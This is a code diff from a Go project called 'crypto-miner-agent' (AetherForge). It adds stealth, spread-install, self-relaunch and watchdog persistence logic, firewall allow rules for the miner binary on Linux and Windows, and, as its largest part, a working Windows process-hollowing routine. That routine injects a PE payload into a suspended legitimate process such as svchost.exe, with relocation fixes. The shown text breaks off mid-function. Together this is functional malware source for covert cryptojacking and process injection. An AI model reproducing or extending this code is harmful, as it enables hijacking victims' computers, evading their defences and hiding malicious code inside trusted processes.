||||||
|
func samePath(a, b string) bool {
|
||||||
|
a = filepath.Clean(a)
|
||||||
|
b = filepath.Clean(b)
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
if strings.EqualFold(a, b) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
} else if a == b {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
aAbs, errA := filepath.Abs(a)
|
||||||
|
bAbs, errB := filepath.Abs(b)
|
||||||
|
if errA != nil || errB != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return strings.EqualFold(aAbs, bAbs)
|
||||||
|
}
|
||||||
|
return aAbs == bAbs
|
||||||
|
}
|
||||||
|
|
||||||
|
func copyFile(src, dest string) error {
|
||||||
|
in, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
_, err = io.Copy(out, in)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func relaunch(exePath, logPath string) error {
|
||||||
|
cmd := exec.Command(exePath, runFlag)
|
||||||
|
cmd.Dir = filepath.Dir(exePath)
|
||||||
|
if logPath != "" {
|
||||||
|
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||||
|
}
|
||||||
|
applyDetachedStart(cmd)
|
||||||
|
return cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||||
|
dir, err := cfg.InstallDirectory()
|
||||||
|
if err == nil {
|
||||||
|
return dir, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
fallbacks := installBaseFallbacks(cfg)
|
||||||
|
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||||
|
for _, base := range fallbacks {
|
||||||
|
if seen[base] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[base] = true
|
||||||
|
try := cfg
|
||||||
|
try.InstallBase = base
|
||||||
|
dir, tryErr := try.InstallDirectory()
|
||||||
|
if tryErr == nil {
|
||||||
|
return dir, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
return []string{"localappdata", "appdata", "temp"}
|
||||||
|
case "darwin":
|
||||||
|
return []string{"home", "xdg_data_home", "tmp"}
|
||||||
|
default:
|
||||||
|
return []string{"xdg_data_home", "home", "tmp"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func InstallDir(workerName, buildID string) (string, error) {
|
||||||
|
base := "localappdata"
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
base = "xdg_data_home"
|
||||||
|
}
|
||||||
|
return config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
WorkerName: workerName,
|
||||||
|
BuildID: buildID,
|
||||||
|
InstallBase: base,
|
||||||
|
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||||
|
},
|
||||||
|
}.InstallDirectory()
|
||||||
|
}
|
||||||
|
|
||||||
|
func saveBackup(installedBin string) error {
|
||||||
|
backup := installedBin + backupSuffix
|
||||||
|
if _, err := os.Stat(backup); err == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return copyFile(installedBin, backup)
|
||||||
|
}
|
||||||
|
|
||||||
|
// WantsSpreadInstall reports --spread-install CLI flag.
|
||||||
|
func WantsSpreadInstall() bool {
|
||||||
|
return wantsSpreadInstall()
|
||||||
|
}
|
||||||
|
|
||||||
|
func wantsSpreadInstall() bool {
|
||||||
|
for _, arg := range os.Args[1:] {
|
||||||
|
if arg == spreadFlag {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func isRunMode() bool {
|
||||||
|
for _, arg := range os.Args[1:] {
|
||||||
|
if arg == runFlag {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
|
||||||
|
if cfg.StealthMode {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||||
|
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
|
||||||
|
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
|
||||||
|
)), 0644)
|
||||||
|
}
|
||||||
18
agent/deploy/firewall_darwin.go
Normal file
18
agent/deploy/firewall_darwin.go
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||||
|
log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath)
|
||||||
|
_ = cfg
|
||||||
|
}
|
||||||
|
|
||||||
|
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||||
|
_ = cfg
|
||||||
|
}
|
||||||
36
agent/deploy/firewall_linux.go
Normal file
36
agent/deploy/firewall_linux.go
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
//go:build linux
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||||
|
if strings.TrimSpace(binPath) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
port := 8989
|
||||||
|
script := fmt.Sprintf(`
|
||||||
|
if command -v ufw >/dev/null 2>&1; then
|
||||||
|
ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
`, port)
|
||||||
|
cmd := exec.Command("/bin/sh", "-c", script)
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
log.Printf("[firewall] ufw rule failed: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
|
||||||
|
_ = strconv.Itoa(port)
|
||||||
|
}
|
||||||
|
|
||||||
|
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||||
|
_ = cfg
|
||||||
|
}
|
||||||
15
agent/deploy/firewall_platform_windows.go
Normal file
15
agent/deploy/firewall_platform_windows.go
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||||
|
EnsureFirewallExclusionWindows(cfg, binPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||||
|
RemoveFirewallExclusionWindows(cfg)
|
||||||
|
}
|
||||||
14
agent/deploy/firewall_stub.go
Normal file
14
agent/deploy/firewall_stub.go
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
//go:build !windows && !linux && !darwin
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
|
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||||
|
_ = cfg
|
||||||
|
_ = binPath
|
||||||
|
}
|
||||||
|
|
||||||
|
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||||
|
_ = cfg
|
||||||
|
}
|
||||||
@@ -13,9 +13,8 @@ import (
|
|||||||
|
|
||||||
const firewallRulePrefix = "AetherForge"
|
const firewallRulePrefix = "AetherForge"
|
||||||
|
|
||||||
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
|
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
||||||
// Requires administrator privileges on many systems; failures are logged and ignored.
|
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
||||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
|
|
||||||
if !cfg.FirewallExclusion {
|
if !cfg.FirewallExclusion {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
|||||||
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
||||||
}
|
}
|
||||||
|
|
||||||
// RemoveFirewallExclusion deletes firewall rules created for this worker.
|
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
||||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
||||||
ruleBase := firewallRuleBaseName(cfg)
|
ruleBase := firewallRuleBaseName(cfg)
|
||||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||||
|
|||||||
@@ -9,8 +9,6 @@ import (
|
|||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
const backupSuffix = ".bak"
|
|
||||||
|
|
||||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||||
if !cfg.SelfHealing {
|
if !cfg.SelfHealing {
|
||||||
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||||
backupExe := installedExe + backupSuffix
|
backupBin := installedBin + backupSuffix
|
||||||
|
|
||||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
|
||||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
if _, statErr := os.Stat(backupBin); statErr == nil {
|
||||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
|
||||||
return copyErr
|
return copyErr
|
||||||
}
|
}
|
||||||
log.Printf("[watchdog] restored missing binary from backup")
|
log.Printf("[watchdog] restored missing binary from backup")
|
||||||
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if cfg.FirewallExclusion {
|
if cfg.FirewallExclusion {
|
||||||
EnsureFirewallExclusion(cfg, installedExe)
|
EnsureFirewallExclusion(cfg, installedBin)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func saveBackup(installedExe string) error {
|
|
||||||
backup := installedExe + backupSuffix
|
|
||||||
if _, err := os.Stat(backup); err == nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return copyFile(installedExe, backup)
|
|
||||||
}
|
|
||||||
|
|||||||
12
agent/deploy/hollow_stub_all.go
Normal file
12
agent/deploy/hollow_stub_all.go
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
// RunHollowed is only available on Windows with the hollow build tag.
|
||||||
|
func RunHollowed(targetExe string, payload []byte) error {
|
||||||
|
_ = targetExe
|
||||||
|
_ = payload
|
||||||
|
return fmt.Errorf("process hollowing not available on this platform")
|
||||||
|
}
|
||||||
@@ -29,20 +29,92 @@ const (
|
|||||||
MEM_RESERVE = 0x2000
|
MEM_RESERVE = 0x2000
|
||||||
PAGE_EXECUTE_READWRITE = 0x40
|
PAGE_EXECUTE_READWRITE = 0x40
|
||||||
CONTEXT_FULL_AMD64 = 0x10000B
|
CONTEXT_FULL_AMD64 = 0x10000B
|
||||||
|
|
||||||
|
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||||
|
IMAGE_REL_BASED_DIR64 = 10
|
||||||
)
|
)
|
||||||
|
|
||||||
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
|
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
|
||||||
|
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
|
||||||
|
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
|
||||||
|
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
|
||||||
|
for i := uint32(0); i < uint32(numSections); i++ {
|
||||||
|
sec := payload[sectionsBase+i*40:]
|
||||||
|
vAddr := binary.LittleEndian.Uint32(sec[12:])
|
||||||
|
vSize := binary.LittleEndian.Uint32(sec[8:])
|
||||||
|
rawOff := binary.LittleEndian.Uint32(sec[20:])
|
||||||
|
if rva >= vAddr && rva < vAddr+vSize {
|
||||||
|
return rawOff + (rva - vAddr), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyRelocations patches absolute addresses in the payload copy when the image
|
||||||
|
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
|
||||||
|
// (type 10) entries are applied; all other types are skipped.
|
||||||
|
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
|
||||||
|
optHeader := payload[eLFANew+24:]
|
||||||
|
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
|
||||||
|
// DataDirectory array starts at offset 112 in a PE32+ optional header.
|
||||||
|
const dataDirOffset = 112
|
||||||
|
if len(optHeader) < dataDirOffset+5*8+8 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
|
||||||
|
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
|
||||||
|
if relocRVA == 0 || relocSize == 0 {
|
||||||
|
return // no relocation table (non-PIE binary baked for a fixed address)
|
||||||
|
}
|
||||||
|
|
||||||
|
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
end := blockOff + relocSize
|
||||||
|
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
|
||||||
|
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
|
||||||
|
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
|
||||||
|
if blkSize < 8 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
entryCount := (blkSize - 8) / 2
|
||||||
|
for i := uint32(0); i < entryCount; i++ {
|
||||||
|
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
|
||||||
|
relType := entry >> 12
|
||||||
|
relOff := uint32(entry & 0x0FFF)
|
||||||
|
|
||||||
|
if relType == IMAGE_REL_BASED_ABSOLUTE {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if relType != IMAGE_REL_BASED_DIR64 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
patchRVA := pageRVA + relOff
|
||||||
|
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
|
||||||
|
if err != nil || int(patchOff)+8 > len(payload) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
|
||||||
|
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
|
||||||
|
}
|
||||||
|
blockOff += blkSize
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
||||||
func RunHollowed(targetExe string, payload []byte) error {
|
func RunHollowed(targetExe string, payload []byte) error {
|
||||||
// Parse payload PE headers dynamically
|
|
||||||
if len(payload) < 0x40 {
|
if len(payload) < 0x40 {
|
||||||
return fmt.Errorf("payload too small")
|
return fmt.Errorf("payload too small")
|
||||||
}
|
}
|
||||||
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
|
eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||||
if int(e_lfanew)+24 > len(payload) {
|
if int(eLFANew)+24 > len(payload) {
|
||||||
return fmt.Errorf("invalid PE header offset")
|
return fmt.Errorf("invalid PE header offset")
|
||||||
}
|
}
|
||||||
|
|
||||||
ntHeader := payload[e_lfanew:]
|
ntHeader := payload[eLFANew:]
|
||||||
if string(ntHeader[:4]) != "PE\x00\x00" {
|
if string(ntHeader[:4]) != "PE\x00\x00" {
|
||||||
return fmt.Errorf("invalid PE signature")
|
return fmt.Errorf("invalid PE signature")
|
||||||
}
|
}
|
||||||
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
||||||
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
|
sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||||
optHeader := ntHeader[24:]
|
optHeader := ntHeader[24:]
|
||||||
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
||||||
return fmt.Errorf("payload must be PE32+")
|
return fmt.Errorf("payload must be PE32+")
|
||||||
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
|
|||||||
si.Cb = uint32(unsafe.Sizeof(*si))
|
si.Cb = uint32(unsafe.Sizeof(*si))
|
||||||
pi := new(syscall.ProcessInformation)
|
pi := new(syscall.ProcessInformation)
|
||||||
|
|
||||||
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
|
// 1. Spawn the target process in a suspended state.
|
||||||
ret, _, err := procCreateProcessW.Call(
|
ret, _, lastErr := procCreateProcessW.Call(
|
||||||
0,
|
0,
|
||||||
uintptr(unsafe.Pointer(targetPtr)),
|
uintptr(unsafe.Pointer(targetPtr)),
|
||||||
0, 0, 0,
|
0, 0, 0,
|
||||||
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
|
|||||||
uintptr(unsafe.Pointer(pi)),
|
uintptr(unsafe.Pointer(pi)),
|
||||||
)
|
)
|
||||||
if ret == 0 {
|
if ret == 0 {
|
||||||
return fmt.Errorf("CreateProcessW failed: %v", err)
|
return fmt.Errorf("CreateProcessW: %v", lastErr)
|
||||||
}
|
}
|
||||||
defer syscall.CloseHandle(pi.Process)
|
defer syscall.CloseHandle(pi.Process)
|
||||||
defer syscall.CloseHandle(pi.Thread)
|
defer syscall.CloseHandle(pi.Thread)
|
||||||
|
|
||||||
// The following maps the exact structural steps needed for PE injection.
|
// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
|
||||||
// Note: To make this fully functional, you need full PE offset math
|
ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
|
||||||
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
|
|
||||||
|
|
||||||
// 2. Get Thread Context to locate the Process Environment Block (PEB)
|
|
||||||
// Allocate 16-byte aligned context buffer for x64
|
|
||||||
ctxBytes := make([]byte, 1232+16)
|
|
||||||
var ctxPtr uintptr
|
var ctxPtr uintptr
|
||||||
for i := 0; i < 16; i++ {
|
for i := 0; i < 16; i++ {
|
||||||
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
||||||
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
|
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
|
||||||
|
|
||||||
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||||
if ret == 0 {
|
if ret == 0 {
|
||||||
return fmt.Errorf("GetThreadContext failed: %v", err)
|
return fmt.Errorf("GetThreadContext: %v", lastErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
|
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
|
||||||
|
|
||||||
// 3. Read the PEB to find the original ImageBase
|
// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
|
||||||
var origImageBase uint64
|
var origImageBase uint64
|
||||||
var bytesRW uintptr
|
var bytesRW uintptr
|
||||||
procReadProcessMemory.Call(
|
procReadProcessMemory.Call(
|
||||||
uintptr(pi.Process),
|
uintptr(pi.Process),
|
||||||
uintptr(rdx+16), // PEB.ImageBaseAddress
|
uintptr(rdx+16),
|
||||||
uintptr(unsafe.Pointer(&origImageBase)),
|
uintptr(unsafe.Pointer(&origImageBase)),
|
||||||
8,
|
8,
|
||||||
uintptr(unsafe.Pointer(&bytesRW)),
|
uintptr(unsafe.Pointer(&bytesRW)),
|
||||||
)
|
)
|
||||||
|
|
||||||
// 4. Unmap the original executable code from memory
|
// 4. Unmap the original image.
|
||||||
if origImageBase != 0 {
|
if origImageBase != 0 {
|
||||||
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 5. Allocate new memory for our payload at the required ImageBase
|
// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
|
||||||
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
newMem, _, _ := procVirtualAllocEx.Call(
|
||||||
|
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
|
||||||
|
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||||
|
)
|
||||||
|
needsReloc := false
|
||||||
if newMem == 0 {
|
if newMem == 0 {
|
||||||
// Fallback allocation if preferred base is taken (Payload must support relocation)
|
newMem, _, lastErr = procVirtualAllocEx.Call(
|
||||||
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
uintptr(pi.Process), 0, uintptr(sizeOfImage),
|
||||||
|
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||||
|
)
|
||||||
if newMem == 0 {
|
if newMem == 0 {
|
||||||
return fmt.Errorf("VirtualAllocEx failed: %v", err)
|
return fmt.Errorf("VirtualAllocEx: %v", lastErr)
|
||||||
}
|
}
|
||||||
|
needsReloc = true
|
||||||
}
|
}
|
||||||
|
|
||||||
// 6. Write the PE headers and each PE section into the new memory allocation
|
// 6. If we landed at a different base, patch absolute addresses in a local copy
|
||||||
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
|
// before writing to the remote process. Without this the payload crashes on
|
||||||
|
// every call through its import table and global data pointers.
|
||||||
|
patched := payload
|
||||||
|
if needsReloc {
|
||||||
|
delta := int64(newMem) - int64(imageBase)
|
||||||
|
patched = make([]byte, len(payload))
|
||||||
|
copy(patched, payload)
|
||||||
|
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
|
||||||
|
}
|
||||||
|
|
||||||
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
|
// 7. Write PE headers and sections to the remote process.
|
||||||
for i := uint16(0); i < numSections; i++ {
|
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||||
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
|
uintptr(pi.Process), newMem,
|
||||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
|
||||||
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
|
|
||||||
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
|
|
||||||
|
|
||||||
if sizeOfRawData > 0 {
|
|
||||||
procWriteProcessMemory.Call(
|
|
||||||
uintptr(pi.Process),
|
|
||||||
newMem+uintptr(virtAddr),
|
|
||||||
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
|
|
||||||
uintptr(sizeOfRawData),
|
|
||||||
uintptr(unsafe.Pointer(&bytesRW)),
|
uintptr(unsafe.Pointer(&bytesRW)),
|
||||||
)
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
sectionsStart := 24 + uint32(sizeOfOptHdr)
|
||||||
|
patchedNT := patched[eLFANew:]
|
||||||
|
for i := uint16(0); i < numSections; i++ {
|
||||||
|
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
|
||||||
|
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||||
|
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
|
||||||
|
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
|
||||||
|
|
||||||
|
if rawSize > 0 {
|
||||||
|
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||||
|
uintptr(pi.Process),
|
||||||
|
newMem+uintptr(virtAddr),
|
||||||
|
uintptr(unsafe.Pointer(&patched[rawOff])),
|
||||||
|
uintptr(rawSize),
|
||||||
|
uintptr(unsafe.Pointer(&bytesRW)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Update the PEB with the new ImageBase
|
// 8. Update PEB.ImageBaseAddress to the actual allocation address.
|
||||||
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
|
procWriteProcessMemory.Call(
|
||||||
|
uintptr(pi.Process), uintptr(rdx+16),
|
||||||
|
uintptr(unsafe.Pointer(&newMem)), 8,
|
||||||
|
uintptr(unsafe.Pointer(&bytesRW)),
|
||||||
|
)
|
||||||
|
|
||||||
// 7. Update the Thread Context to point to our payload's Entry Point
|
// 9. Set the initial thread's Rcx to our entry point.
|
||||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
|
// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
|
||||||
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
|
||||||
|
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||||
|
if ret == 0 {
|
||||||
|
